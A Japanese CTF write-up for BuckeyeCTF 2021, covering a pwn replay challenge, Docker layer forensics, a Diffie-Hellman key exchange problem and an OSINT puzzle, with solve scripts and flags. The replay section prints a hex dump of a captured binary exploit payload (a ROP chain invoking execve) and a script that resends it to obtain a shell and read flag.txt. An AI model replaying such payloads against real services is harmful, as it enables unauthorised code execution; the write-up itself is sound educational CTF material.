BuckeyeCTF 2021 Writeup

この大会は2021/10/23 9:00(JST)~2021/10/25 9:00(JST)に開催されました。
今回もチームで参戦。結果は618点で505チーム中92位でした。
自分で解けた問題をWriteupとして書いておきます。

sanity_check (misc 1)

Discordに入り、arcsolstice (Kyle) のプロフィールを見ると、フラグが書いてあった。

buckeye{thX_4_p1ayin9}

replay (misc 30)

WiresharkTCP Streamを見る。

    00000000  48 45 4c 4c 4f 20 48 4f  57 20 41 52 45 20 59 4f   HELLO HO W ARE YO
    00000010  55 20 44 4f 49 4e 47 20  54 4f 44 41 59 0a         U DOING  TODAY.
00000000  61 61 61 61 62 61 61 61  63 61 61 61 64 61 61 61   aaaabaaa caaadaaa
00000010  65 61 61 61 66 61 61 61  67 61 61 61 68 61 61 61   eaaafaaa gaaahaaa
00000020  69 61 61 61 6a 61 61 61  6b 61 61 61 6c 61 61 61   iaaajaaa kaaalaaa
00000030  6d 61 61 61 6e 61 61 61  6f 61 61 61 70 61 61 61   maaanaaa oaaapaaa
00000040  71 61 61 61 72 61 61 61  73 61 61 61 74 61 61 61   qaaaraaa saaataaa
00000050  75 61 61 61 76 61 61 61  77 61 61 61 78 61 61 61   uaaavaaa waaaxaaa
00000060  79 61 61 61 7a 61 61 62  62 61 61 62 63 61 61 62   yaaazaab baabcaab
00000070  64 61 61 62 65 61 61 62  66 61 61 62 67 61 61 62   daabeaab faabgaab
00000080  68 61 61 62 69 61 61 62  55 11 40 00 00 00 00 00   haabiaab U.@.....
00000090  0f 00 00 00 00 00 00 00  57 11 40 00 00 00 00 00   ........ W.@.....
000000A0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
000000B0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
000000C0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
000000D0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
000000E0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
000000F0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
00000100  00 00 00 00 00 00 00 00  04 20 40 00 00 00 00 00   ........ . @.....
00000110  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
00000120  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
00000130  3b 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ;....... ........
00000140  00 00 00 00 00 00 00 00  57 11 40 00 00 00 00 00   ........ W.@.....
00000150  00 00 00 00 00 00 00 00  33 00 00 00 00 00 00 00   ........ 3.......
00000160  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
00000170  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
00000180  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
00000190  00 00 00 00 00 00 00 00  0a                        ........ .
00000199  69 64 0a                                           id.
    0000001E  75 69 64 3d 31 30 30 30  20 67 69 64 3d 31 30 30   uid=1000  gid=100
    0000002E  30 20 67 72 6f 75 70 73  3d 31 30 30 30 0a         0 groups =1000.
0000019C  6c 73 20 2d 6c 61 68 0a                            ls -lah. 
    0000003C  74 6f 74 61 6c 20 32 38  4b 0a 64 72 77 78 72 2d   total 28 K.drwxr-
    0000004C  78 72 2d 78 20 31 20 31  30 30 30 20 36 35 35 33   xr-x 1 1 000 6553
    0000005C  34 20 34 2e 30 4b 20 4f  63 74 20 31 39 20 31 34   4 4.0K O ct 19 14
    0000006C  3a 34 38 20 2e 0a 64 72  77 78 72 77 78 2d 2d 2d   :48 ..dr wxrwx---
    0000007C  20 31 20 31 30 30 30 20  36 35 35 33 34 20 34 2e    1 1000  65534 4.
    0000008C  30 4b 20 4f 63 74 20 31  39 20 31 34 3a 34 38 20   0K Oct 1 9 14:48 
    0000009C  2e 2e 0a 2d 72 77 78 72  2d 78 72 2d 78 20 31 20   ...-rwxr -xr-x 1 
    000000AC  31 30 30 30 20 36 35 35  33 34 20 20 31 36 4b 20   1000 655 34  16K 
    000000BC  4f 63 74 20 31 39 20 31  34 3a 34 38 20 63 68 61   Oct 19 1 4:48 cha
    000000CC  6c 6c 0a 2d 72 2d 2d 72  2d 2d 2d 2d 2d 20 31 20   ll.-r--r ----- 1 
    000000DC  31 30 30 30 20 36 35 35  33 34 20 20 20 35 31 20   1000 655 34   51 
    000000EC  4f 63 74 20 31 39 20 31  33 3a 35 38 20 66 6c 61   Oct 19 1 3:58 fla
    000000FC  67 2e 74 78 74 0a                                  g.txt.
000001A4  65 78 69 74 0a                                     exit.

最初の入力データをダウンロードし、同じようにデータを送ってコマンドを実行する。

import socket
import string

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('misc.chall.pwnoh.io', 13371))

data = recvuntil(s, '\n').rstrip()
print data

with open('payload.bin', 'rb') as f:
    payload = f.read()

print payload
s.sendall(payload)

cmd = 'id'
print cmd
s.sendall(cmd + '\n')
data = recvuntil(s, '\n').rstrip()
print data

cmd = 'ls -lah'
print cmd
s.sendall(cmd + '\n')
for _ in range(5):
    data = recvuntil(s, '\n').rstrip()
    print data

cmd = 'cat flag.txt'
print cmd
s.sendall(cmd + '\n')
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

HELLO HOW ARE YOU DOING TODAY
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabU@            W@                                                                                                              @                                     ;                       W@             3                                                       

id
uid=1000 gid=1000 groups=1000
ls -lah
total 28K
drwxr-xr-x 1 1000 65534 4.0K Oct 19 14:37 .
drwxrwx--- 1 1000 65534 4.0K Oct 23 18:55 ..
-rwxr-xr-x 1 1000 65534  16K Oct 19 14:37 chall
-r--r----- 1 1000 65534   51 Oct 19 13:58 flag.txt
cat flag.txt
buckeye{g00d_th1ng_P1E_w4s_d1s4bl3d_0n_th3_b1n4ry}
buckeye{g00d_th1ng_P1E_w4s_d1s4bl3d_0n_th3_b1n4ry}

layers (misc 30)

$ sudo docker pull qxxxb/layers
Using default tag: latest
latest: Pulling from qxxxb/layers
a0d0a0d46f8b: Pull complete 
9a653c77c575: Pull complete 
5b35be6cf17d: Pull complete 
5895c1ac3aab: Pull complete 
Digest: sha256:a89678536727abc0fbfe693b19ac0f8454502351dc792dabbee47bc9ab7420b2
Status: Downloaded newer image for qxxxb/layers:latest
docker.io/qxxxb/layers:latest
$ sudo docker history qxxxb/layers
IMAGE          CREATED       CREATED BY                                      SIZE      COMMENT
0c01a25ae5b7   4 days ago    /bin/sh -c echo "Sorry, the flag has been de…   36B       
<missing>      4 days ago    /bin/sh -c rm flag.png                          0B        
<missing>      4 days ago    /bin/sh -c #(nop) COPY multi:6b3bd56201fda03…   599kB     
<missing>      8 weeks ago   /bin/sh -c #(nop)  CMD ["/bin/sh"]              0B        
<missing>      8 weeks ago   /bin/sh -c #(nop) ADD file:aad4290d27580cc1a…   5.6MB
$ sudo docker save qxxxb/layers > layers.tar

tarを展開して、さらに各フォルダにあるtarを展開してみていく。この結果、c74cc42fc4c046f80c5179802f03e40a40c3f69d22a9ee0ebbe9f7dcd2525467/layer.tarを解凍すると、flag.pngが展開されその画像にフラグが書いてあった。
f:id:satou-y:20211028212139p:plain

buckeye{D0CK3R_H4S_L4Y3RS}

Key exchange (crypto 40)

サーバの処理概要は以下の通り。

・p: 512ビット素数
・g = 5
・p, g表示
・a: 2 以上 p - 1 未満ランダム整数
・A = pow(g, a, p)
・A表示
・B: 入力(1 < B < p - 1)
・shared_secret = pow(B, a, p)
・key = hashlib.sha1(cun.long_to_bytes(shared_secret)).digest()[:16]
・AES-ECBでFLAGを暗号化し、表示

このことから以下が言える。

A = pow(g, a, p)
B = pow(g, b, p)
→pow(B, a, p) = pow(g, a*b, p) = pow(A, b, p)

bを適当に設定し、Bを算出して指定すれば、shared_secretを計算できる。keyがわかるので、あとはAES-ECB復号すればよい。

#!/usr/bin/env python3
import socket
import hashlib
import Crypto.Util.number as cun
from Crypto.Cipher import AES

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.chall.pwnoh.io', 13374))

data = recvuntil(s, b': ')
p = int(data.split('\n')[4].split(' ')[-1])
g = int(data.split('\n')[5].split(' ')[-1])
A = int(data.split('\n')[6].split(' ')[-1])

b = 2
B = pow(g, b, p)
print(data + str(B))
s.sendall(str(B).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

ciphertext = bytes.fromhex(data.split(' ')[-1])
shared_secret = pow(A, b, p)
key = hashlib.sha1(cun.long_to_bytes(shared_secret)).digest()[:16]
cipher = AES.new(key, AES.MODE_ECB)
FLAG = cipher.decrypt(ciphertext).decode()
print(FLAG)

実行結果は以下の通り。

I'm going to send you the flag.
However, I noticed that an FBI agent has been eavesdropping on my messages,
so I'm going to send it to you in a way that ONLY YOU can decrypt the flag.

p = 9189089418456474917368747066281973490051965045657384487342558126262412785474286141982009810916885342175667345202133072630938632963164533529501471585186163
g = 5
A = 6191157549707973879955431056050210525324094161570328761336532821597318988065675105666189648260761713541318670962622768609485922408790902433436311152395871
Give me your public key B: 25
ciphertext = 5ffeaa2fc981ff5f2c91758f9452a32545084720b5114c9038cf2bb5f1e10165f2424dd7b97dc02b003c03f63a9f65a61a010f52e610d15163e475d853143771
buckeye{DH_1s_s0_h3ck1ng_c00l_l1k3_wh0_w0uldv3_th0ught_0f_th1s?}
buckeye{DH_1s_s0_h3ck1ng_c00l_l1k3_wh0_w0uldv3_th0ught_0f_th1s?}

Don't Talk to Blue Birds (misc 60)

問題タイトルから考えて、Twitterを探してみる。https://twitter.com/witch_securityを探してみると、pastebinへのリンクがあった。
f:id:satou-y:20211028212523p:plain
このリンクをたどると、以下のページにアクセスできる。

https://pastebin.com/4KHrJcUX

ここにまたURLが貼られている。

https://pastebin.com/qXDb43m1

このURLのアドレスにアクセスしてみると、フラグが書いてあった。

flag{aggre55ive_Hall0we3n_prepArati0ns_Und3rw4y}